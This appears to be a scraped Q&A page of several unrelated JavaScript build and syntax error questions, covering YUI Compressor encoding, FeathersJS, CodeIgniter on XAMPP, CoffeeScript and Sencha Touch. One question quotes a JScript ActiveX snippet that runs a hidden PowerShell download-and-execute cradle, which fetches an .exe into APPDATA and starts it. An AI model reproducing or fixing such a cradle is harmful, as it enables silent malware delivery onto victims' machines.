yuicompressor error, not sure what is wrong? - javascript

Very confused here, trying out the yuicompressor on a simple javascript file.
My js file looks like:
function splitText(text)
{
return text.split('-')[1];
}
The error is:
[INFO] Using charset Cp1252
[Error] 1:20:illegal character
[Error] 1:20:syntax error
[Error] 1:40:illegal character
[Error] 1:49:missing ; before statement
[Error] 1:50:illegal character
..
..
[Error] 7:3:missing | in compound statement
[error] 1:0:compilation produced 38 syntax errors
...
Can someone please explain to me what is wrong?

Your encoding of the actual file YUICompressor is acting on is the issue. Open the file in notepad++ and change to ANSI & it should work.
[http://extjs.com/forum/showthread.php?t=27732][1]

Related

download and execute with javascript

I was trying to use the following javascript to run a powershell cradle
var sh = new ActiveXObject("wscript.shell");
sh.run("PowerShell -command (New-Object System.Net.WebClient).DownloadFile('https://server/file.exe',"$env:APPDATA\file.exe");Start-Process ("$env:APPDATA\file.exe"))",0);
but I get the error message box and don't understand what can be the error
Script: file path
Line: 3
Char: 103
Error: Expected ')'
Code: 800A03EE
Source: Microsoft JScript compilation error
Thank you

Syntax error on async function as object field

I'm have a problem on the simple Getting started tutorial of FeathersJS.
I copy/past both code and run the server, but it return me a Syntax Error on client.js line 5:
app.use('todos', {
async get(name) {
^^^^^^^^^^^^^^^^^
> Uncaught SyntaxError: Unexpected identifier
What did I miss ?
EDIT: I forgot to say that error come from the browser after I run
http-server public/

An uncaught Exception was encountered in xampp

I get this error when i try and open my application
nothing seems to work can someone help me? i'm not a professional developper
An uncaught Exception was encountered Type: UnexpectedValueException
Message: Session: Configured driver 'files' was not found. Aborting.
Filename:
C:\xampp\htdocs\reseauxfinal\system\libraries\Session\Session.php
Line Number: 233
Backtrace:
File:
C:\xampp\htdocs\reseauxfinal\application\controllers\Authentification.php
Line: 7 Function: __construct
File: C:\xampp\htdocs\reseauxfinal\index.php Line: 320 Function:
require_once

Reserved Word error

I have the following piece of code in Coffee-script
class #Badge
setIssues: (count)->
#count = count
#render()
When I run my script, I get the following error ,
Uncaught Syntax-Error: Unexpected reserved word
I am complete newbie in Coffee-script , so totally off-guard as of how to fix this error
I tried removing the word 'class' , hence removing the first line(including #Badge), as it is mentioned here , that 'class' is a reserved word . On doing so , it resulted in the error ,
Uncaught SyntaxError: Unexpected token >
How can i fix this error ?
Your two errors:
Uncaught Syntax-Error: Unexpected reserved word
Uncaught SyntaxError: Unexpected token >
suggest that you're trying to run CoffeeScript code as though it was JavaScript. You need to compile your CoffeeScript to JavaScript before you can run it in a JavaScript environment.
See the fine manual for details:
Usage
"text/coffeescript" Script Tags

Sencha touch production build errors

Using touch 2.1.0 and Cmd 3.1.2.342
Whilst trying to create a production version of my sencha app, I get the following error:
[WRN] C1003: Unsupported Ext.define syntax -- C:\wamp\www\touch-2.1.0\axis\nativ
e\appname\touch\src\fx\TimingFunctions.js:109
[ERR] C2008: Requirement had no matching files (Ext.fx.TimingFunctions) -- C:\wa
mp\www\touch-2.1.0\axis\native\appname\touch\src\fx\Abstract.js:959
[ERR] The following error occurred while executing this line:
C:\wamp\www\touch-2.1.0\axis\native\appname.sencha\app\build-impl.xml:165:
It seems to me that it is saying a file called fx/TimingFunctions.js is required by fx/Abstract.js but cannot be found. However, this can't be what it means as the file exists in that folder.
The command I am using is:
sencha app build production
Line 109 of TimingFunctions.js looks like this:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
singleton: true,...
One solution is to change line 109 of TimingFunctions.js from:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
to:
Ext.define('Ext.fx.TimingFunctions', {
and change line 136 of the same file from:
}, EasingPrototype));
to:
}, EasingPrototype);
This then allows the build to go ahead.
However, when I then view the production app in the web browser, it freezes and I get the following error
Uncaught TypeError: Object # has no method 'call' process sencha-touch-all-debug.js:6767
(anonymous function) process sencha-touch-all-debug.js:6774
(anonymous function) sencha-touch-all-debug.js:6779
Ext.apply.onBeforeCreated sencha-touch-all-debug.js:5196
process sencha-touch-all-debug.js:5262
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
Ext.apply.process sencha-touch-all-debug.js:5272
Ext.Class.ExtClass sencha-touch-all-debug.js:5183
Ext.ClassManager.create sencha-touch-all-debug.js:6725
Ext.apply.define sencha-touch-all-debug.js:7407
(anonymous function) TimingFunctions.js?_dc=1379403994382:109
(anonymous function) TimingFunctions.js?_dc=1379403994382:138
There was a spelling mistake in the files fx/Abstract.js and fx/TimingFunctions.js
Actually, it's not a spelling mistake - more like a grammatical error.
Abstract.js calls a function in TimingFunctions.js. in Abstract.js it is referred to as EasingMap, where as in TimingFunctions.js it is called easingMap

Categories